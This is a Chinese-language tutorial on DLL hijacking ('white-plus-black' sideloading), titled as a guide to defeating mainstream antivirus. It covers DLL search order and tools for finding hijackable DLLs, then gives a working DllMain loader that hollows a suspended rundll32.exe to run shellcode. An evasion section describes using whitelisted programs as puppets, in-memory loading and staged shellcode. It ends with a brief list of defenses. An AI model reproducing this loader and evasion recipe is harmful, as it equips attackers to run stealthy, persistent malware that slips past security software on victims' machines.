白加黑保姆教程通杀主流杀软
字数 1735 2025-08-03 16:48:44
DLL劫持与白加黑攻击技术详解
0x00 前言
DLL劫持是一种利用Windows系统DLL加载机制的安全漏洞进行攻击的技术,通过白名单程序加载恶意DLL实现代码执行。本文将从DLL基础知识、劫持原理、实现方法到实际案例进行全面解析。
0x01 DLL基础知识
DLL路径搜索顺序
Windows系统加载DLL时按以下顺序搜索:
- 程序所在目录
- 程序加载目录(SetCurrentDirectory设置)
- 系统目录(SYSTEM32)
- 16位系统目录(SYSTEM)
- Windows目录
- PATH环境变量中列出的目录
Known DLLs机制
Known DLLs注册表项(HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs)中的DLL在系统启动时就被加载到内核空间,多个进程共享,需要高权限才能修改。
DLL劫持类型
-
直接转发(Direct Forwarding)
- 修改导出表,将函数入口指向另一个DLL的对应函数
- 调用过程:程序调用DLL A的函数→系统重定向到DLL B的函数
-
即时调用(Delay Load and Call)
- 劫持DLL函数内部jmp到原DLL函数地址
- 实现原理不同但效果相同
-
延迟加载
- 调用时使用LoadLibrary加载目标DLL
- 使用GetProcAddress获取函数地址
- 优点:按需加载,减少资源占用
DllMain入口函数
BOOL APIENTRY DllMain(
HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
){
switch(ul_reason_for_call){
case DLL_PROCESS_ATTACH: // DLL被进程加载时执行
case DLL_THREAD_ATTACH: // 线程创建时调用
case DLL_THREAD_DETACH: // 线程结束时执行
case DLL_PROCESS_DETACH: // DLL被卸载时执行
if(lpvReserved != nullptr){
break; // 进程终止时不清理
}
// 执行清理
break;
}
return TRUE;
}
调用约定
APIENTRY宏定义为__stdcall(Windows API默认)- 常见调用约定:
- cdecl: C/C++默认
- stdcall: Windows API默认
- fastcall
- thiscall
0x02 DLL调试方法
- 创建DLL项目并导出函数
- 创建测试程序加载DLL:
// 加载DLL HMODULE hModule = LoadLibrary("mydll.dll"); // 获取函数地址 FARPROC func = GetProcAddress(hModule, "MyFunction"); // 调用函数 func(); - 在DLL代码中设置断点调试
0x03 DLL静态与动态调用
静态调用特点
- 编译时将DLL嵌入可执行文件
- 运行时直接使用,无需加载
- 示例:
#pragma comment(lib, "mydll.lib") typedef int (*DLLFUNC)(int); DLLFUNC MyFunc = (DLLFUNC)GetProcAddress(hLib, "MyFunc"); int result = MyFunc(123);
动态调用特点
- 运行时加载,DLL不存在不会报错(除非主动检查)
- 更灵活但需要处理加载和卸载
0x04 DLL劫持实现
寻找可劫持DLL的方法
-
孤独寻找法
- 将exe单独移动,运行看报错缺少的DLL
- 查看导入表排除系统DLL
-
Procmon监控
- 过滤条件:
- 路径以.dll结尾
- 排除系统目录
- 分析程序动态加载的DLL
- 过滤条件:
-
工具辅助
- 使用ZeroEye等工具自动检测可劫持DLL
- 下载地址:https://github.com/ImCoriander/ZeroEye/tree/ZeroEye
黑DLL制作步骤
-
使用AheadLib生成转发代码
- 下载地址:https://github.com/strivexjun/AheadLib-x86-x64
- 生成.asm和.cpp文件
-
编译处理
"ml64路径" /Fo output.obj /c /Cp input.asm- 将.obj文件添加到项目
- 解决可能的函数冲突(如替换pathstrippath和strcmpi)
-
注入代码示例
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason, LPVOID lpReserved){ if(ul_reason == DLL_PROCESS_ATTACH){ char* mem = (char*)VirtualAlloc(0, payload_len, 0x3000u, 0x40u); memcpy(mem, payload, payload_len); PROCESS_INFORMATION pi; STARTUPINFOA si = {0}; si.cb = sizeof(si); if(CreateProcessA(0, "rundll32.exe", 0,0,0,0x44u,0,0,&si,&pi)){ CONTEXT ctx = {65539}; GetThreadContext(pi.hThread, &ctx); LPVOID remoteMem = VirtualAllocEx(pi.hProcess,0,payload_len,0x1000u,0x40u); WriteProcessMemory(pi.hProcess, remoteMem, mem, payload_len, NULL); ctx.Rip = (DWORD_PTR)remoteMem; SetThreadContext(pi.hThread, &ctx); ResumeThread(pi.hThread); CloseHandle(pi.hThread); CloseHandle(pi.hProcess); } TerminateProcess(GetCurrentProcess(), 0); } return TRUE; }
注意事项
-
DllMain限制:
- 不能调用可能获取加载程序锁的函数
- 避免使用Sleep、WaitForSingleObject等
- CreateProcess/CreateThread有风险
-
保持程序正常运行:
- 劫持后确保原程序功能不受影响
- 可能需要处理多个依赖DLL
-
位数匹配:
- 确保DLL与目标程序位数一致(x86/x64)
0x05 免杀技巧
- 使用rundll32.exe等白名单程序作为傀儡
- 内存操作避免直接文件写入
- 代码混淆和加密
- 分阶段加载shellcode
- 利用合法程序的正常行为掩盖恶意操作
0x06 防御措施
- 启用SafeDllSearchMode(默认开启)
- 设置KnownDLLs保护
- 使用签名验证DLL
- 监控异常DLL加载行为
- 限制程序目录写入权限
0x07 总结
DLL劫持是一种有效的绕过安全检测的技术,关键在于:
- 准确识别可劫持的DLL
- 正确处理函数转发保持程序功能
- 遵守DllMain的限制避免崩溃
- 结合免杀技术绕过安全软件
通过精心构造的恶意DLL和合法的白程序组合,可以实现高隐蔽性的持久化攻击。防御方需要从加载机制、行为监控等多层面进行防护。